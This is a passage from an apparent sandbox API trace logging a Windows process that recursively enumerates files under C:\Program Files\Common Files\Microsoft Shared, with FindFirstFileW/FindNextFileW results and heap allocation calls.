cAlternateFileName="")) returned 0x3255180 [0077.358] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0077.359] GetProcessHeap () returned 0x470000 [0077.359] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0077.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0077.360] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.360] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0077.360] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0077.360] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0077.360] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0077.360] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0077.360] GetProcessHeap () returned 0x470000 [0077.361] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0077.361] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0077.361] GetProcessHeap () returned 0x470000 [0077.361] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0077.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0077.361] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.361] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0077.361] GetProcessHeap () returned 0x470000 [0077.361] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0077.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0077.592] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.592] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0077.617] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0077.617] GetProcessHeap () returned 0x470000 [0077.617] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0077.618] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0077.618] GetProcessHeap () returned 0x470000 [0077.618] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0077.618] GetProcessHeap () returned 0x470000 [0077.618] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0077.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0077.618] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0077.619] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0077.619] GetProcessHeap () returned 0x470000 [0077.619] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0077.619] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0077.619] GetProcessHeap () returned 0x470000 [0077.619] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0077.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0077.619] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.619] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0077.619] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0077.619] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0077.619] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0077.619] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0077.620] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0077.620] GetProcessHeap () returned 0x470000 [0077.620] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0077.620] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0077.620] GetProcessHeap () returned 0x470000 [0077.620] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0077.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, 